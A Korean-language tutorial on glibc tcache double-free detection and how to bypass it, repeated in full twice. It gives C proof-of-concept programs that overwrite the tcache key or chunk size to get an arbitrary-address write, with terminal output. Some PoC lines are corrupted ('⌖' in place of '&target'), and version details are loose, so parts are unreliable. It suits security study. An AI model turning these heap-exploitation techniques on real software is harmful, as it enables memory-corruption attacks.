Tcache dup / glibc 2.29
다음과 같은 명령어로 glibc 소스 코드를 다운 받을 수 있다.
$wget <https://ftp.gnu.org/gnu/glibc/glibc-2.29.tar.gz>
tcache 에 관련된 코드를 보자.
먼저 tcache_entry 코드를 보면 다음과 같다.
// GLIBC 2.26
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
// GLIBC 2.29
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; //diffrence
} tcache_entry;
key 구조체 포인터가 추가되었다.
struct tcache_perthread_struct *key;
2.26 버전의 tcache는 DFB에 대한 아무런 검증이 없어, 연속 청크 해제를 통해 tcache_bin인 단일 링크드 리스트가 같은 영역을 가르킬 수 있게끔 했다.
하지만 2.27 이상의 버전엔 tcache_entry 구조체에 key 멤버 변수가 추가되면서, 주석에서 알 수 있다시피 DFB에 대한 검증을 하고 있다는 것을 알 수 있다.
다음은 tcache_put 함수이다.
// GLIBC 2.26
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);//using chunk's metadata
assert (tc_idx < TCACHE_MAX_BINS); //TCACHE_MAX_BINS = 64
e->next = tcache->entries[tc_idx]; //Make previous chunk a fd. (LIFO)
tcache->entries[tc_idx] = e; //current chunk inserted into bins
++(tcache->counts[tc_idx]);
}
// GLIBC 2.29
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS); //TCACHE_MAX_BINS = 64
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
주요한 부분만 언급해 보면, 현재 해제되는 chunk의 정보를 e 변수에 넣고, tc_idx는 몇번째 tcache_bin을 사용할지 에 대한 변수이다. tcache->counts[tc_idx] 현재 bin(tcache_entry[tc_idx])에 연결되어 있는 청크들에 대한 정보 담겨있다. 더불어 2.29 버전에는 e->key = tcache 가 추가 되어있다. 이는 tcache_put 함수에서 DFB 에 대해 처리하지 않고 _int_free 함수에서 처리하는 것을 목적으로 한다.
tcache_get
// GLIBC 2.26
static void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
// GLIBC 2.29
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
tacahe_get 함수는 put 함수와는 다르게 e->key 에 NULL을 대입한다.
그럼 이 key가 무슨 역할을 하는지 알아 보도록하겠습니다.
_int_free
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
- p는 주소이고 e는 포인터 이기때문에 데이터를 이어서 쓰는 것이다.(p는 청크의 userdata 주소)
이를 참고해서 조건문을 보면 tcache_entry 의 key 가 tcache일 경우, tmp가 참일 경우 반복문을 돌리게 되는데, 현 bin에 있는 주소값을 tmp, 그리고 현재 청크 e와 같은 주소를 쓴다면 에러를 출력한다. 만약 아닐경우 fd를 타고 들어가 현 bin의 끝까지 타고 들어가 검사한다.
tcache double free bypass
tcache_put 함수에서 e-key에 tcache 포인터를 삽입하는데, 이후에 한번더 같은 청크를 해제하면 Double Free 에러를 내기때문에, 이를 우회해야한다.
먼저 다음과 같은 조건 중 하나를 충족하면 이를 우회할 수 있다.
- 힙 오버플로우 발생
- Use After Free 발생
위와 같은 취약점은 직접 e->key 값을 조작할 수 있어, 이를 우회 할 수 있다.
- e-key, bk 값 변조를 사용한 방법.
e-key가 존재하는 부분은 userdata segment의 bk, heap[1] 부분이다. 결국 우회하려면 청크의 사이즈를 변경해야 한다. heap[0] 부분은 fd 부분이다. heap의 주소는 chunk의 user data 를 가르키고 있다. ( Singly Linked List 이므로 fd 만 사용)
tcache_dfb_poc
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target;
int main()
{
uint64_t *ptr = malloc(0x20);
uint64_t *ptr2;
free(ptr);
ptr[1] = 0x0; //falsify e-key in user data's bk
free(ptr); //DFB
ptr[0] = (uint64_t)⌖ //fd in user data
malloc(0x20); //fd -> tcache bin
ptr2 = malloc(0x20); //target allocated
ptr2[0] = 0x41414141; //modify target's data
printf("target : 0x%lx\\n", target);
}
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG
- size 값을 변경한 방법(검증된 버전 glibc 2.27)
*2.31 버전은 해당 구문 검증 우회 확인은 됐으나, 정상 overwrite가 안됨
사이즈값을 이용해 for문 안 검증 우회.
tcache_bin은 64개 존재하는데 해당 청크의 사이즈를 조작 할 수 있다면, 한 청크를 각기 다른 tcache_bin에 삽입하여 if (tmp == e) 를 우회 할 수 있을 것이다.
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
일단 tcache는 0xF 을 한 단위로 tcache를 구분한다는 것을 알수 있었다.
하지만 chunk는 0x10 단위로 맞춰 주지 않으면 다음과 같은
free(): invalid size Aborted
에러를 내기 떄문에 0x10을 한 단위로 묶인다고 생각하면 된다. 또한 청크의 메타 데이터 사이즈가 0x10 이기 때문에 최소 청크의 사이즈는 0x20 이다. 이를 참고해서 진행하도록 하겠다.
ALL 64
tcache structure: singly linked list -> LIFO
max chunk: 7
tcache range: 32 ~ 1040 --> range of fast and small bin
**First Search object when chunk size is in tcache range.
*if tcache is fully, Chunk allocates bin of own's size.
그럼
먼저 aborted 되는 소스 코드와 결과이다.
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target = 0x50;
int main()
{
uint64_t *ptr = malloc(0x20);
uint64_t *ptr2;
free(ptr);
ptr[-1] = 0x30; //falsify chunk's size
free(ptr); //DFB
ptr[0] = (uint64_t)⌖ //fd
malloc(0x20); //fd -> tcache bin
ptr2 = malloc(0x20); //target allocated
ptr2[0] = 0x41414141; //modify target's data
printf("target : 0x%lx\\n", target);
}
ptr[-1] = 0x30 로 변조하였는데, 이는 위 malloc 0x20 사이즈에서 meta data의 사이즈를 더한 값이다.
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
free(): double free detected in tcache 2
Aborted
위 와 같이 에러가 난다.
그럼 코드를 약간 변경하겠다.
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target = 0x50;
int main()
{
uint64_t *ptr = malloc(0x20);
uint64_t *ptr2;
free(ptr);
ptr[-1] = 0x420; //falsify chunk's size this size is not 0x30 and 0x410 over.
free(ptr); //DFB
ptr[0] = (uint64_t)⌖ //fd
malloc(0x20); //fd -> tcache bin
ptr2 = malloc(0x20); //target allocated
ptr2[0] = 0x41414141; //modify target's data
printf("target : 0x%lx\\n", target);
}
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
double free or corruption (!prev)
Aborted
root@3392453bb3df:/work/dh/HEAP_AEG#
위를 토대로 할당된 힙 청크의 크기와 0x410을 넘지만 않는다면 우회할 수 있을 거라는 결론이 나온다. 실제로 해보자.
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target = 0x50;
int main()
{
uint64_t *ptr = malloc(0x20);
uint64_t *ptr2;
free(ptr);
ptr[-1] = 0x410; //falsify e-key
/*
ptr[-1] = 0x20;
ptr[-1] = 0x50;
ptr[-1] = 0X80;
...
...
*/
free(ptr); //DFB
ptr[0] = (uint64_t)⌖ //fd
malloc(0x20); //fd -> tcache bin
ptr2 = malloc(0x20); //target allocated
ptr2[0] = 0x41414141; //modify target's data
printf("target : 0x%lx\\n", target);
}
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG#
분석 한출평: 2.31 버전도 뜯어보면 위의 문제의 이유를 알 수 있을 것이고, 다른 공격 기법도 고안할 수 있을 것 같다.
- 추가 내용: fd를 조작하여 bin을 변형, 내가 원하는 변수에 청크 할당. (glibc 2.27, 2.31에선 안됨)
- 이는 double free를 사용하지 않는 방법이다.
#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>
int a = 12;
int main(int argc,char **argv)
{
//this is tcache
/*
*typedef struct tcache_entry
{
struct tcache_entry *next;
//This field exists to detect double frees.
struct tcache_perthread_struct *key;
} tcache_entry;
*/
malloc(0x10);
malloc(0x10);
setbuf(stdout, 0);
setbuf(stderr, 0);
printf("tcache_dup can help you achieve \\"arbitrary address writes\\"\\n");
void *p,*q,*r,*d;
p = malloc(0x10);
free(p);
*(uint64_t *)p = (uint64_t)&a; // bin: p -> q
printf("now p's next pointer = q\\n");
printf("p's next = %p ,q = %p\\n",*(uint64_t *)p,&a);
printf("so,We can malloc twice to get a pointer to q,sure you can change this to what you want!\\n");
r = malloc(0x10); // bin : q
d = malloc(0x10); // d = q,
*(uint64_t *)d = 0x123;
printf("p's next = %p ,q = %p\\n",*(uint64_t *)d, a);
}
#2.27
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
tcache_dup can help you achieve "arbitrary address writes"
now p's next pointer = q
p's next = 0x5603cdc01010 ,q = 0x5603cdc01010
so,We can malloc twice to get a pointer to q,sure you can change this to what you want!
p's next = 0x123 ,q = 0x123
root@3392453bb3df:/work/dh/HEAP_AEG#
#2.31
root@07d3540857dc:~/ctf/dh/HEAP_AEG# ./poc
tcache_dup can help you achieve "arbitrary address writes"
now p's next pointer = q
p's next = 0x558006801010 ,q = 0x558006801010
so,We can malloc twice to get a pointer to q,sure you can change this to what you want!
p's next = 0x123 ,q = 0xc
root@07d3540857dc:~/ctf/dh/HEAP_AEG#
Tcache dup / glibc 2.29
Author: LeeSungKwon
다음과 같은 명령어로 glibc 소스 코드를 다운 받을 수 있다.
$wget <https://ftp.gnu.org/gnu/glibc/glibc-2.29.tar.gz>
tcache 에 관련된 코드를 보자.
먼저 tcache_entry 코드를 보면 다음과 같다.
// GLIBC 2.26
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
// GLIBC 2.29
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; //diffrence
} tcache_entry;
key 구조체 포인터가 추가되었다.
struct tcache_perthread_struct *key;
2.26 버전의 tcache는 DFB에 대한 아무런 검증이 없어, 연속 청크 해제를 통해 tcache_bin인 단일 링크드 리스트가 같은 영역을 가르킬 수 있게끔 했다.
하지만 2.27 이상의 버전엔 tcache_entry 구조체에 key 멤버 변수가 추가되면서, 주석에서 알 수 있다시피 DFB에 대한 검증을 하고 있다는 것을 알 수 있다.
다음은 tcache_put 함수이다.
// GLIBC 2.26
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);//using chunk's metadata
assert (tc_idx < TCACHE_MAX_BINS); //TCACHE_MAX_BINS = 64
e->next = tcache->entries[tc_idx]; //Make previous chunk a fd. (LIFO)
tcache->entries[tc_idx] = e; //current chunk inserted into bins
++(tcache->counts[tc_idx]);
}
// GLIBC 2.29
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS); //TCACHE_MAX_BINS = 64
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
주요한 부분만 언급해 보면, 현재 해제되는 chunk의 정보를 e 변수에 넣고, tc_idx는 몇번째 tcache_bin을 사용할지 에 대한 변수이다. tcache->counts[tc_idx] 현재 bin(tcache_entry[tc_idx])에 연결되어 있는 청크들에 대한 정보 담겨있다. 더불어 2.29 버전에는 e->key = tcache 가 추가 되어있다. 이는 tcache_put 함수에서 DFB 에 대해 처리하지 않고 _int_free 함수에서 처리하는 것을 목적으로 한다.
tcache_get
// GLIBC 2.26
static void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
// GLIBC 2.29
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
tacahe_get 함수는 put 함수와는 다르게 e->key 에 NULL을 대입한다.
그럼 이 key가 무슨 역할을 하는지 알아 보도록하겠습니다.
_int_free
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
- p는 주소이고 e는 포인터 이기때문에 데이터를 이어서 쓰는 것이다.(p는 청크의 userdata 주소)
이를 참고해서 조건문을 보면 tcache_entry 의 key 가 tcache일 경우, tmp가 참일 경우 반복문을 돌리게 되는데, 현 bin에 있는 주소값을 tmp, 그리고 현재 청크 e와 같은 주소를 쓴다면 에러를 출력한다. 만약 아닐경우 fd를 타고 들어가 현 bin의 끝까지 타고 들어가 검사한다.
tcache double free bypass
tcache_put 함수에서 e-key에 tcache 포인터를 삽입하는데, 이후에 한번더 같은 청크를 해제하면 Double Free 에러를 내기때문에, 이를 우회해야한다.
먼저 다음과 같은 조건 중 하나를 충족하면 이를 우회할 수 있다.
- 힙 오버플로우 발생
- Use After Free 발생
위와 같은 취약점은 직접 e->key 값을 조작할 수 있어, 이를 우회 할 수 있다.
- e-key, bk 값 변조를 사용한 방법.
e-key가 존재하는 부분은 userdata segment의 bk, heap[1] 부분이다. 결국 우회하려면 청크의 사이즈를 변경해야 한다. heap[0] 부분은 fd 부분이다. heap의 주소는 chunk의 user data 를 가르키고 있다. ( Singly Linked List 이므로 fd 만 사용)
tcache_dfb_poc
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target;
int main()
{
uint64_t *ptr = malloc(0x20);
uint64_t *ptr2;
free(ptr);
ptr[1] = 0x0; //falsify e-key in user data's bk
free(ptr); //DFB
ptr[0] = (uint64_t)⌖ //fd in user data
malloc(0x20); //fd -> tcache bin
ptr2 = malloc(0x20); //target allocated
ptr2[0] = 0x41414141; //modify target's data
printf("target : 0x%lx\\n", target);
}
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG
- size 값을 변경한 방법(검증된 버전 glibc 2.27)
*2.31 버전은 해당 구문 검증 우회 확인은 됐으나, 정상 overwrite가 안됨
사이즈값을 이용해 for문 안 검증 우회.
tcache_bin은 64개 존재하는데 해당 청크의 사이즈를 조작 할 수 있다면, 한 청크를 각기 다른 tcache_bin에 삽입하여 if (tmp == e) 를 우회 할 수 있을 것이다.
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
일단 tcache는 0xF 을 한 단위로 tcache를 구분한다는 것을 알수 있었다.
하지만 chunk는 0x10 단위로 맞춰 주지 않으면 다음과 같은
free(): invalid size Aborted
에러를 내기 떄문에 0x10을 한 단위로 묶인다고 생각하면 된다. 또한 청크의 메타 데이터 사이즈가 0x10 이기 때문에 최소 청크의 사이즈는 0x20 이다. 이를 참고해서 진행하도록 하겠다.
ALL 64
tcache structure: singly linked list -> LIFO
max chunk: 7
tcache range: 32 ~ 1040 --> range of fast and small bin
**First Search object when chunk size is in tcache range.
*if tcache is fully, Chunk allocates bin of own's size.
그럼
먼저 aborted 되는 소스 코드와 결과이다.
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target = 0x50;
int main()
{
uint64_t *ptr = malloc(0x20);
uint64_t *ptr2;
free(ptr);
ptr[-1] = 0x30; //falsify chunk's size
free(ptr); //DFB
ptr[0] = (uint64_t)⌖ //fd
malloc(0x20); //fd -> tcache bin
ptr2 = malloc(0x20); //target allocated
ptr2[0] = 0x41414141; //modify target's data
printf("target : 0x%lx\\n", target);
}
ptr[-1] = 0x30 로 변조하였는데, 이는 위 malloc 0x20 사이즈에서 meta data의 사이즈를 더한 값이다.
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
free(): double free detected in tcache 2
Aborted
위 와 같이 에러가 난다.
그럼 코드를 약간 변경하겠다.
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target = 0x50;
int main()
{
uint64_t *ptr = malloc(0x20);
uint64_t *ptr2;
free(ptr);
ptr[-1] = 0x420; //falsify chunk's size this size is not 0x30 and 0x410 over.
free(ptr); //DFB
ptr[0] = (uint64_t)⌖ //fd
malloc(0x20); //fd -> tcache bin
ptr2 = malloc(0x20); //target allocated
ptr2[0] = 0x41414141; //modify target's data
printf("target : 0x%lx\\n", target);
}
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
double free or corruption (!prev)
Aborted
root@3392453bb3df:/work/dh/HEAP_AEG#
위를 토대로 할당된 힙 청크의 크기와 0x410을 넘지만 않는다면 우회할 수 있을 거라는 결론이 나온다. 실제로 해보자.
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target = 0x50;
int main()
{
uint64_t *ptr = malloc(0x20);
uint64_t *ptr2;
free(ptr);
ptr[-1] = 0x410; //falsify e-key
/*
ptr[-1] = 0x20;
ptr[-1] = 0x50;
ptr[-1] = 0X80;
...
...
*/
free(ptr); //DFB
ptr[0] = (uint64_t)⌖ //fd
malloc(0x20); //fd -> tcache bin
ptr2 = malloc(0x20); //target allocated
ptr2[0] = 0x41414141; //modify target's data
printf("target : 0x%lx\\n", target);
}
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG#
분석 한출평: 2.31 버전도 뜯어보면 위의 문제의 이유를 알 수 있을 것이고, 다른 공격 기법도 고안할 수 있을 것 같다.
- 추가 내용: fd를 조작하여 bin을 변형, 내가 원하는 변수에 청크 할당. (glibc 2.27, 2.31에선 안됨)
- 이는 double free를 사용하지 않는 방법이다.
#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>
int a = 12;
int main(int argc,char **argv)
{
//this is tcache
/*
*typedef struct tcache_entry
{
struct tcache_entry *next;
//This field exists to detect double frees.
struct tcache_perthread_struct *key;
} tcache_entry;
*/
malloc(0x10);
malloc(0x10);
setbuf(stdout, 0);
setbuf(stderr, 0);
printf("tcache_dup can help you achieve \\"arbitrary address writes\\"\\n");
void *p,*q,*r,*d;
p = malloc(0x10);
free(p);
*(uint64_t *)p = (uint64_t)&a; // bin: p -> q
printf("now p's next pointer = q\\n");
printf("p's next = %p ,q = %p\\n",*(uint64_t *)p,&a);
printf("so,We can malloc twice to get a pointer to q,sure you can change this to what you want!\\n");
r = malloc(0x10); // bin : q
d = malloc(0x10); // d = q,
*(uint64_t *)d = 0x123;
printf("p's next = %p ,q = %p\\n",*(uint64_t *)d, a);
}
#2.27
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
tcache_dup can help you achieve "arbitrary address writes"
now p's next pointer = q
p's next = 0x5603cdc01010 ,q = 0x5603cdc01010
so,We can malloc twice to get a pointer to q,sure you can change this to what you want!
p's next = 0x123 ,q = 0x123
root@3392453bb3df:/work/dh/HEAP_AEG#
#2.31
root@07d3540857dc:~/ctf/dh/HEAP_AEG# ./poc
tcache_dup can help you achieve "arbitrary address writes"
now p's next pointer = q
p's next = 0x558006801010 ,q = 0x558006801010
so,We can malloc twice to get a pointer to q,sure you can change this to what you want!
p's next = 0x123 ,q = 0xc
root@07d3540857dc:~/ctf/dh/HEAP_AEG#